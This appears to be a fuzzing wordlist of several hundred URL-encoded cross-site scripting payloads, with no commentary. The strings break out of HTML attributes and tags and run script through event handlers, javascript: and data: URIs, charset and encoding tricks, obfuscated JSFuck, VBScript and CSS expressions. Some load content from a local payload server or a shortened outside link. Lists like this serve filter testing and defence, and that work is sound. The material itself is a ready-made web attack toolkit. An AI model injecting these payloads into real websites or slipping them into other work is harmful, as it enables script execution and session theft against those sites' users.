%22%3E%3Cbody/onpageshow=confirm(1);%3E  
'%3E%3Cbody/onpageshow=confirm(1);%3E  
%22%3E%3Cb/onclick=%22javascript:window.window.window['confirm'](1)%22%3Ebold  
%3Cbody%20language=vbs%20onload=window.location='data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=='%3E  
%22%3E%3Cbody%20language=vbs%20onload=window.location='data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=='%3E  
'%3E%3Cbody%20language=vbs%20onload=window.location='data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=='%3E  
behaviour:url/0028javascript:confirm/0028[0][0]/0029/0029  
%3Ciframe%20src=%22javascript:x:confirm(1)%22%3E  
%22%3E%3Ciframe%20src=%22javascript:x:confirm(1)%22%3E  
'%3E%3Ciframe%20src=%22javascript:x:confirm(1)%22%3E  
%3Ca%20href=%22javascript:x:confirm(1)%22%3Ex%3C/a%3E  
%22%3E%3Ca%20href=%22javascript:x:confirm(1)%22%3Ex%3C/a%3E  
'%3E%3Ca%20href=%22javascript:x:confirm(1)%22%3Ex%3C/a%3E  
%3Ca%20href=j&  
%22%3E%3Ca%20href=j&  
'%3E%3Ca%20href=j&  
%3Cdiv%20contextmenu=x%3Eright-click%3Cmenu%20id=x%20onshow=confirm(1)%3E  
%22%3E%3Cdiv%20contextmenu=x%3Eright-click%3Cmenu%20id=x%20onshow=confirm(1)%3E  
'%3E%3Cdiv%20contextmenu=x%3Eright-click%3Cmenu%20id=x%20onshow=confirm(1)%3E  
%22;document.body.addEventListener(%22DOMActivate%22,confirm(1))//  
/*@cc_on%20@if(1)confirm(1)@end  
var%20a=0;%20((a%20==%201)%20?%202%20:%20confirm(1));//  
(0)['constructor']['constructor'](%22/141/154/145/162/164(1)%22)();  
%3Cinput%20oninput=confirm(1)%3E  
%22%3E%3Cinput%20oninput=confirm(1)%3E  
'%3E%3Cinput%20oninput=confirm(1)%3E  
%3Cvideo%20onprogress=confirm(1)%3E%3Csource%20src=//a.a%3E  
%22%3E%3Cvideo%20onprogress=confirm(1)%3E%3Csource%20src=//a.a%3E  
'%3E%3Cvideo%20onprogress=confirm(1)%3E%3Csource%20src=//a.a%3E  
%3Cvideo%20onprogress=confirm(1)%3E%3Csource%20src=x%3E  
%22%3E%3Cvideo%20onprogress=confirm(1)%3E%3Csource%20src=x%3E  
'%3E%3Cvideo%20onprogress=confirm(1)%3E%3Csource%20src=x%3E  
%3Cvideo/onprogress=confirm(1)%3E%3Csource/src=//a.a%3E  
%22%3E%3Cvideo/onprogress=confirm(1)%3E%3Csource/src=//a.a%3E  
'%3E%3Cvideo/onprogress=confirm(1)%3E%3Csource/src=//a.a%3E  
%3Cvideo/onprogress=confirm(1)%3E%3Csource/src=x%3E  
%22%3E%3Cvideo/onprogress=confirm(1)%3E%3Csource/src=x%3E  
'%3E%3Cvideo/onprogress=confirm(1)%3E%3Csource/src=x%3E  
%3Cvideo%20onprogress=confirm(1)%3E%3Csource%20src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg%3E  
%22%3E%3Cvideo%20onprogress=confirm(1)%3E%3Csource%20src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg%3E  
'%3E%3Cvideo%20onprogress=confirm(1)%3E%3Csource%20src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg%3E  
%3Cvideo/onprogress=confirm(1)%3E%3Csource/src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg%3E  
%22%3E%3Cvideo/onprogress=confirm(1)%3E%3Csource/src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg%3E  
'%3E%3Cvideo/onprogress=confirm(1)%3E%3Csource/src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg%3E  
%3Csvg%20onload=/u0061lert(1)%3E  
%22%3E%3Csvg%20onload=/u0061lert(1)%3E  
'%3E%3Csvg%20onload=/u0061lert(1)%3E  
%3Cmeta%20charset=HZ-GB-2312%3E%3Cscrip~%7Dt%3Econfirm(1)%3C/scrip~%7Dt%3E  
%22%3E%3Cmeta%20charset=HZ-GB-2312%3E%3Cscrip~%7Dt%3Econfirm(1)%3C/scrip~%7Dt%3E  
'%3E%3Cmeta%20charset=HZ-GB-2312%3E%3Cscrip~%7Dt%3Econfirm(1)%3C/scrip~%7Dt%3E  
%3Cmeta%20charset=HZ-GB-2312%3E%3Cscrip~%7Dt%3Econfirm(1)%3C/script%3E  
%22%3E%3Cmeta%20charset=HZ-GB-2312%3E%3Cscrip~%7Dt%3Econfirm(1)%3C/script%3E  
'%3E%3Cmeta%20charset=HZ-GB-2312%3E%3Cscrip~%7Dt%3Econfirm(1)%3C/script%3E  
%3Cmeta%20charset=utf-7%3E%3Cimg%20src=x%20o%2BAG4-error=confirm(1)%3E  
%22%3E%3Cmeta%20charset=utf-7%3E%3Cimg%20src=x%20o%2BAG4-error=confirm(1)%3E  
'%3E%3Cmeta%20charset=utf-7%3E%3Cimg%20src=x%20o%2BAG4-error=confirm(1)%3E  
%3Cmeta%20charset=Shift_JIS%3E%3Cscript%3Ex=%22%E3%81%8F/%22;confirm(1)//%22%3C/script%3E  
%22%3E%3Cmeta%20charset=Shift_JIS%3E%3Cscript%3Ex=%22%E3%81%8F/%22;confirm(1)//%22%3C/script%3E  
'%3E%3Cmeta%20charset=Shift_JIS%3E%3Cscript%3Ex=%22%E3%81%8F/%22;confirm(1)//%22%3C/script%3E  
this[%22confirm%22](%22X%22)  
this['confirm'](1)  
%3Cscript%3Ethis[%22confirm%22](%22X%22)%3C/script%3E  
%22%3E%3Cscript%3Ethis[%22confirm%22](%22X%22)%3C/script%3E  
'%3E%3Cscript%3Ethis[%22confirm%22](%22X%22)%3C/script%3E  
%3Csvg/onload=t=/aler/.source+/t/.source;window.onerror=window[t];throw+1;//  
%22%3E%3Csvg/onload=t=/aler/.source+/t/.source;window.onerror=window[t];throw+1;//  
'%3E%3Csvg/onload=t=/aler/.source+/t/.source;window.onerror=window[t];throw+1;//  
%3Csvg%0Conload=confirm(1)%3E  
%22%3E%3Csvg%0Conload=confirm(1)%3E  
'%3E%3Csvg%0Conload=confirm(1)%3E  
%3Csvg%3E%3Cuse%20xlink:href=%22data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iNTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZWRFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydCgxKSIgLz4NCiAgICA8L2ZvcmVpZ25PYmplY3Q+DQo8L3N2Zz4=  
%22%3E%3Csvg%3E%3Cuse%20xlink:href=%22data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iNTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZWRFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydCgxKSIgLz4NCiAgICA8L2ZvcmVpZ25PYmplY3Q+DQo8L3N2Zz4=  
'%3E%3Csvg%3E%3Cuse%20xlink:href=%22data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iNTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZWRFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydCgxKSIgLz4NCiAgICA8L2ZvcmVpZ25PYmplY3Q+DQo8L3N2Zz4=  
%22-confirm(1)-%22  
%22/confirm(1)/%22  
%22%7Cconfirm(1)%7C%22  
==confirm(1)==  
[confirm(1)]+  
%5Econfirm(1)%5E  
%7Cconfirm(1)%7C  
&confirm(1)&  
%3E%3Econfirm(1)%3E%3E  
%3Cform%20name=self%20location=%22javascript:confirm(1)%22  
%22%3E%3Cform%20name=self%20location=%22javascript:confirm(1)%22  
'%3E%3Cform%20name=self%20location=%22javascript:confirm(1)%22%3E  
'%3E%3Cform%20name=self%20location=%22javascript:confirm(1)%22  
'%7C/u0061lert()%7C'  
%3Cstyle%0conload=confirm(1)%3E  
%22%3E%3Cstyle%0conload=confirm(1)%3E  
'%3E%3Cstyle%0conload=confirm(1)%3E  
%3CScR%3CScRiPt%3EIpT%3Econfirm(1)%3C%2FsCr%3CScRiPt%3EIpT%3E  
%22%3E%3CScR%3CScRiPt%3EIpT%3Econfirm(1)%3C%2FsCr%3CScRiPt%3EIpT%3E  
'%3E%3CScR%3CScRiPt%3EIpT%3Econfirm(1)%3C%2FsCr%3CScRiPt%3EIpT%3E  
%3Cscrip%3Cscript%3Et%3Econfirm(1)%3C/script%3E  
%22%3E%3Cscrip%3Cscript%3Et%3Econfirm(1)%3C/script%3E  
'%3E%3Cscrip%3Cscript%3Et%3Econfirm(1)%3C/script%3E  
javasCript:eval%28'aler'+'t'+'%28%29'%29  
&quot;&gt;&lt;img%20src=x%20onerror=confirm(1);&gt;  
Data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==  
%3Cimg%0D%0Asrc%3Da%0D%0Aonerror%3Dconfirm%281%29%3E  
%22%3E%3Cimg%0D%0Asrc%3Da%0D%0Aonerror%3Dconfirm%281%29%3E  
'%3E%3Cimg%0D%0Asrc%3Da%0D%0Aonerror%3Dconfirm%281%29%3E  
%3CIMG%20SRC=%22javascript:confirm('X');%22%3E  
%22%3E%3CIMG%20SRC=%22javascript:confirm('X');%22%3E  
'%3E%3CIMG%20SRC=%22javascript:confirm('X');%22%3E  
%3CBODY%20onload!  
%22%3E%3CBODY%20onload!  
'%3E%3CBODY%20onload!  
/%22;confirm('X');//  
%27;%20confirm(1);%20%27  
&apos;;%20confirm(1);%20&apos;  
/u0027%20confirm(1);%20/u0027  
%22;%20[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])();%20%22  
%22;%20eval('/u0061'+'/x6c'+'e'+'r'+'t')(2);%20%22  
%22;%20confirm&  
%22;%20javascript:&  
%22;%20javascript:window.open('data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==');%20%22  
%22onmouseover=%22confirm(1)  
&quot;onmouseover=&quot;confirm(1)  
/u0022onmouseover=/u0022confirm(1)  
width:expression(confirm(1))  
width:ex/**/pression(confirm(1))  
width&  
width:expression/28%20confirm%20/28%201%20/29%20/29  
width:/0065/0078/0070/0072/0065/0073/0073/0069/006F/006E/0028/0070/0072/006F/006D/0070/0074/0028/0031/0029/0029%22  
background-image:%20url(javascript:confirm(1))  
%3Ca%20aa%20aaa%20aaaa%20aaaaa%20aaaaaa%20aaaaaaa%20aaaaaaaa%20aaaaaaaaa%20aaaaaaaaaa%20href=j&  
%22%3E%3Ca%20aa%20aaa%20aaaa%20aaaaa%20aaaaaa%20aaaaaaa%20aaaaaaaa%20aaaaaaaaa%20aaaaaaaaaa%20href=j&  
'%3E%3Ca%20aa%20aaa%20aaaa%20aaaaa%20aaaaaa%20aaaaaaa%20aaaaaaaa%20aaaaaaaaa%20aaaaaaaaaa%20href=j&  
%22%3E%3Cimg%20src=x%20onerror=window.open('http://www.opensecurity.in/');%3E  
%3Cobject%20data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==%3E%3C/object%3E  
%22%3E%3Cobject%20data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==%3E%3C/object%3E  
'%3E%3Cobject%20data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==%3E%3C/object%3E  
%3Ca%20href=%22data:text/html;blabla,&  
%22%3E%3Ca%20href=%22data:text/html;blabla,&  
'%3E%3Ca%20href=%22data:text/html;blabla,&  
%3Csvg+onload=confirm(1);%3E  
%22%3E%3Csvg+onload=confirm(1);%3E  
'%3E%3Csvg+onload=confirm(1);%3E  
%3Csvg%20onload=confirm(1);%3E  
%22%3E%3Csvg%20onload=confirm(1);%3E  
'%3E%3Csvg%20onload=confirm(1);%3E  
%3Cinput+onfocus=confirm(1)%3E  
%22%3E%3Cinput+onfocus=confirm(1)%3E  
'%3E%3Cinput+onfocus=confirm(1)%3E  
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80confirm(1)%E3%B0%80/script%E3%B8%80  
&lt;/script&gt;&lt;script&gt;confirm(1)&lt;/script&gt;  
%3Ca%20href=%22j&  
%22%3E%3Ca%20href=%22j&  
'%3E%3Ca%20href=%22j&  
%3Cscr/x00ipt%3Econfirm(1);%3C/scr/x00ipt%3E  
%22%3E%3Cscr/x00ipt%3Econfirm(1);%3C/scr/x00ipt%3E  
'%3E%3Cscr/x00ipt%3Econfirm(1);%3C/scr/x00ipt%3E  
%3Csvg/onload=confirm(1);%3E  
%22%3E%3Csvg/onload=confirm(1);%3E  
'%3E%3Csvg/onload=confirm(1);%3E  
%3Csvg%3E%3Cscript%3Econfirm&  
%22%3E%3Csvg%3E%3Cscript%3Econfirm&  
'%3E%3Csvg%3E%3Cscript%3Econfirm&  
%3Cisindex%20action=%22javas&Tab;cript:confirm(1)%22%20type=image%3E  
%22%3E%3Cisindex%20action=%22javas&Tab;cript:confirm(1)%22%20type=image%3E  
'%3E%3Cisindex%20action=%22javas&Tab;cript:confirm(1)%22%20type=image%3E  
%3Cform%20action='data:text&sol;html,&lt;script&gt;confirm(1)&lt/script&gt'%3E%3Cbutton%3ECLICK  
%22%3E%3Cform%20action='data:text&sol;html,&lt;script&gt;confirm(1)&lt/script&gt'%3E%3Cbutton%3ECLICK  
'%3E%3Cform%20action='data:text&sol;html,&lt;script&gt;confirm(1)&lt/script&gt'%3E%3Cbutton%3ECLICK  
%3Cform%20action='java&Tab;scri&Tab;pt:confirm(1)'%3E%3Cbutton%3ECLICK  
%22%3E%3Cform%20action='java&Tab;scri&Tab;pt:confirm(1)'%3E%3Cbutton%3ECLICK  
'%3E%3Cform%20action='java&Tab;scri&Tab;pt:confirm(1)'%3E%3Cbutton%3ECLICK  
%3Cform%20action=javascript&NewLine;:confirm(1)%3E%3Cinput%20type=submit%3E  
%22%3E%3Cform%20action=javascript&NewLine;:confirm(1)%3E%3Cinput%20type=submit%3E  
'%3E%3Cform%20action=javascript&NewLine;:confirm(1)%3E%3Cinput%20type=submit%3E  
%3Cform%20action=%22javas&Tab;cript:confirm(1)%22%20method=%22get%22%3E%3Cinput%20type=%22submit%22%20value=%22Submit%22%3E%3C/form%3E  
%22%3E%3Cform%20action=%22javas&Tab;cript:confirm(1)%22%20method=%22get%22%3E%3Cinput%20type=%22submit%22%20value=%22Submit%22%3E%3C/form%3E  
'%3E%3Cform%20action=%22javas&Tab;cript:confirm(1)%22%20method=%22get%22%3E%3Cinput%20type=%22submit%22%20value=%22Submit%22%3E%3C/form%3E  
%3Cform%20action=%22&Tab;javas&Tab;cript&Tab;:confirm('X%20:)')%22%20autocomplete=%22on%22%3E%20First%20name:%3Cinput%20type=%22text%22%20name=%22fname%22%3E%3Cbr%3E%3Cinput%20type=%22submit%22%3E%3C/form%3E  
%22%3E%3Cform%20action=%22&Tab;javas&Tab;cript&Tab;:confirm('X%20:)')%22%20autocomplete=%22on%22%3E%20First%20name:%3Cinput%20type=%22text%22%20name=%22fname%22%3E%3Cbr%3E%3Cinput%20type=%22submit%22%3E%3C/form%3E  
'%3E%3Cform%20action=%22&Tab;javas&Tab;cript&Tab;:confirm('X%20:)')%22%20autocomplete=%22on%22%3E%20First%20name:%3Cinput%20type=%22text%22%20name=%22fname%22%3E%3Cbr%3E%3Cinput%20type=%22submit%22%3E%3C/form%3E  
%3Cform%20id=%22myform%22%20value=%22%22%20action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)%3E%3Ctextarea%3Econfirm(1)%3C/textarea%3E%3Cinput%20type=%22submit%22%20value=%22Absenden%22%3E%3C/form%3E  
%22%3E%3Cform%20id=%22myform%22%20value=%22%22%20action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)%3E%3Ctextarea%3Econfirm(1)%3C/textarea%3E%3Cinput%20type=%22submit%22%20value=%22Absenden%22%3E%3C/form%3E  
'%3E%3Cform%20id=%22myform%22%20value=%22%22%20action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)%3E%3Ctextarea%3Econfirm(1)%3C/textarea%3E%3Cinput%20type=%22submit%22%20value=%22Absenden%22%3E%3C/form%3E  
'%22%3E%3E%3Cmarquee%3E%3Cimg%20src=x%20onerror=confirm(1)%3E%3C/marquee%3E%22%3E%3C/plaintext/%3E%3C/%7C/%3E%3Cplaintext/onmouseover=confirm(1)  
%22%3E%3C/plaintext/%3E%3C/%7C/%3E%3Cplaintext/onmouseover=confirm(1)  
'%3E%3C/plaintext/%3E%3C/%7C/%3E%3Cplaintext/onmouseover=confirm(1)%3E%3Cscript%3Econfirm(1)%3C/script%3E  
%22%3E%3Cscript%3Econfirm(1)%3C/script%3E  
'%3E%3Cscript%3Econfirm(1)%3C/script%3E@gmail.com%3Cisindex%20formaction=javascript:confirm(/X/)%20type=submit%3E'--%3E%22%3E%3C/script%3E%3Cscript%3Econfirm(1)%3C/script%3E  
'%3E%3Cscript%3Econfirm(1)%3C/script%3E%22%3E%3Cimg/id=%22confirm&lpar;1&  
%3Cscript%3Evar%20url%20=%20%22%3C!--%3Cscript%3E%22;//%3C/script%3Econfirm(1)%3C/script%3E  
%22%3E%3Cscript%3Evar%20url%20=%20%22%3C!--%3Cscript%3E%22;//%3C/script%3Econfirm(1)%3C/script%3E  
'%3E%3Cscript%3Evar%20url%20=%20%22%3C!--%3Cscript%3E%22;//%3C/script%3Econfirm(1)%3C/script%3E  
%3Cform%20id=%22myform%22%20value=%22%22+%7BvalueOf:location,length:1,__proto__:[],0:%22javascript%20:confirm%20(1)%22%7D%22action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)%3E%3Ctextarea%3Econfirm(1)%3C/textarea%3E%3Cinput%20type=%22submit%22%20value=%22Absenden%22%3E%3C/form%3E  
%22%3E%3Cform%20id=%22myform%22%20value=%22%22+%7BvalueOf:location,length:1,__proto__:[],0:%22javascript%20:confirm%20(1)%22%7D%22action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)%3E%3Ctextarea%3Econfirm(1)%3C/textarea%3E%3Cinput%20type=%22submit%22%20value=%22Absenden%22%3E%3C/form%3E  
'%3E%3Cform%20id=%22myform%22%20value=%22%22+%7BvalueOf:location,length:1,__proto__:[],0:%22javascript%20:confirm%20(1)%22%7D%22action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)%3E%3Ctextarea%3Econfirm(1)%3C/textarea%3E%3Cinput%20type=%22submit%22%20value=%22Absenden%22%3E%3C/form%3E  
%3Csvg/contentScriptType=text/vbs%3E%3Cscript%3EExecute(MsgBox(chr(75)&chr(67)&chr(70)))  
%22%3E%3Csvg/contentScriptType=text/vbs%3E%3Cscript%3EExecute(MsgBox(chr(75)&chr(67)&chr(70)))  
'%3E%3Csvg/contentScriptType=text/vbs%3E%3Cscript%3EExecute(MsgBox(chr(75)&chr(67)&chr(70)))  
%3Cimg/src='http://127.0.0.1:3555/xss_serve_payloads/X.jpg'%20onmouseover=&Tab;confirm(1)  
%22%3E%3Cimg/src='http://127.0.0.1:3555/xss_serve_payloads/X.jpg'%20onmouseover=&Tab;confirm(1)  
'%3E%3Cimg/src='http://127.0.0.1:3555/xss_serve_payloads/X.jpg'%20onmouseover=&Tab;confirm(1)  
%3Cembed/src=//goo.gl/nlX0P%3E  
%22%3E%3Cembed/src=//goo.gl/nlX0P%3E  
'%3E%3Cembed/src=//goo.gl/nlX0P%3E  
%3Cobject/data=//goo.gl/nlX0P%3E  
%22%3E%3Cobject/data=//goo.gl/nlX0P%3E  
'%3E%3Cobject/data=//goo.gl/nlX0P%3E  
javascript:confirm(1)  
javascript:confirm(1);  
javascript:confirm(1)  
javascript:confirm(1);  
avascript&  
javaSCRIPT&colon;confirm(1)  
JaVaScRipT:confirm(1)  
javas&Tab;cript:/u0061lert(1);  
javascript:/u0061lert&  
javascript&  
javascript&colon;confirm(1)  
j&  
vbscript:confirm(1);  
vbscript&  
vbscr&Tab;ipt:confirm(1)%22  
%3Ciframesrc=%22javascript:confirm(2)%22%3E  
%22%3E%3Ciframesrc=%22javascript:confirm(2)%22%3E  
'%3E%3Ciframesrc=%22javascript:confirm(2)%22%3E  
%3Ciframe/src=%22data:text&sol;html;&Tab;base64&NewLine;,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==%22%3E  
%22%3E%3Ciframe/src=%22data:text&sol;html;&Tab;base64&NewLine;,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==%22%3E  
'%3E%3Ciframe/src=%22data:text&sol;html;&Tab;base64&NewLine;,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==%22%3E  
%3Cisindexformaction=%22javascript:confirm(1)%22%20type=image%3E  
%22%3E%3Cisindexformaction=%22javascript:confirm(1)%22%20type=image%3E  
'%3E%3Cisindexformaction=%22javascript:confirm(1)%22%20type=image%3E  
%3Cinput%20type=%22image%22%20formaction=JaVaScript:confirm(0)%3E  
%22%3E%3Cinput%20type=%22image%22%20formaction=JaVaScript:confirm(0)%3E  
'%3E%3Cinput%20type=%22image%22%20formaction=JaVaScript:confirm(0)%3E  
%3Cform%3E%3Cbutton%20formaction=javascript&colon;confirm(1)%3ECLICKME  
%22%3E%3Cform%3E%3Cbutton%20formaction=javascript&colon;confirm(1)%3ECLICKME  
'%3E%3Cform%3E%3Cbutton%20formaction=javascript&colon;confirm(1)%3ECLICKME  
%3Cform%20action=%22Javascript:confirm(1)%22%3E%3Cinput%20type=submit%3E  
%22%3E%3Cform%20action=%22Javascript:confirm(1)%22%3E%3Cinput%20type=submit%3E  
'%3E%3Cform%20action=%22Javascript:confirm(1)%22%3E%3Cinput%20type=submit%3E  
%3Cisindex%20action=%22javascript:confirm(1)%22%20type=image%3E  
%22%3E%3Cisindex%20action=%22javascript:confirm(1)%22%20type=image%3E  
'%3E%3Cisindex%20action=%22javascript:confirm(1)%22%20type=image%3E  
%3Cisindex%20action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:confirm(1)%20type=image%3E  
%22%3E%3Cisindex%20action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:confirm(1)%20type=image%3E  
'%3E%3Cisindex%20action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:confirm(1)%20type=image%3E  
%3Cisindex%20action=data:text/html,%20type=image%3E  
%22%3E%3Cisindex%20action=data:text/html,%20type=image%3E  
'%3E%3Cisindex%20action=data:text/html,%20type=image%3E  
%E2%80%9C/%3E%3Cmarquee%20onfinish=confirm(1)%3Ea%3C/marquee%3E  
%3Cobject%20data='data:text/xml,%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%20%22%3Econfirm(1)%3C/script%3E%3E'%3E  
%22%3E%3Cobject%20data='data:text/xml,%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%20%22%3Econfirm(1)%3C/script%3E%3E'%3E  
'%3E%3Cobject%20data='data:text/xml,%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%20%22%3Econfirm(1)%3C/script%3E%3E'%3E  
%3Cimg%20src=%20%22a%22%20onerror=%20'eval(atob(%22cHJvbXB0KDEpOw==%22))'  
%22%3E%3Cimg%20src=%20%22a%22%20onerror=%20'eval(atob(%22cHJvbXB0KDEpOw==%22))'  
'%3E%3Cimg%20src=%20%22a%22%20onerror=%20'eval(atob(%22cHJvbXB0KDEpOw==%22))'  
%3Cscript%3Econfirm('X')%3C/script%3E=a  
%22%3E%3Cscript%3Econfirm('X')%3C/script%3E=a  
'%3E%3Cscript%3Econfirm('X')%3C/script%3E=a  
%3Cscript%3Edocument.write(toStaticHTML(%22%3Cstyle%3Ediv%7Bfont-family:rgb('0,0,0)'''%7Dfoo');color=expression(confirm(1));%7B%7D%3C/style%3E%3Cdiv%3EPOC%3C/div%3E%22))%3C/script%3E  
%22%3E%3Cscript%3Edocument.write(toStaticHTML(%22%3Cstyle%3Ediv%7Bfont-family:rgb('0,0,0)'''%7Dfoo');color=expression(confirm(1));%7B%7D%3C/style%3E%3Cdiv%3EPOC%3C/div%3E%22))%3C/script%3E  
'%3E%3Cscript%3Edocument.write(toStaticHTML(%22%3Cstyle%3Ediv%7Bfont-family:rgb('0,0,0)'''%7Dfoo');color=expression(confirm(1));%7B%7D%3C/style%3E%3Cdiv%3EPOC%3C/div%3E%22))%3C/script%3E  
';!--%22%3CXSS%3E%3Cscript%3Econfirm(1);%3C/script%3E  
%22%3E%3Cscript%3Econfirm(1);%3C/script%3E  
'%3E%3Cscript%3Econfirm(1);%3C/script%3E=%7B()%7D  
%3Cscript%3Edocument.body.innerHTML=%22%3Ca%20onmouseover%0B=location='/x6A/x61/x76/x61/x53/x43/x52/x49/x50/x54/x26/x63/x6F/x6C/x6F/x6E/x3B/x61/x6C/x65/x72/x74/x26/x6C/x70/x61/x72/x3B/x31/x26/x72/x70/x61/x72/x3B'%3E%3Cinput%20name=attributes%3E%22;%3C/script%3E  
%22%3E%3Cscript%3Edocument.body.innerHTML=%22%3Ca%20onmouseover%0B=location='/x6A/x61/x76/x61/x53/x43/x52/x49/x50/x54/x26/x63/x6F/x6C/x6F/x6E/x3B/x61/x6C/x65/x72/x74/x26/x6C/x70/x61/x72/x3B/x31/x26/x72/x70/x61/x72/x3B'%3E%3Cinput%20name=attributes%3E%22;%3C/script%3E  
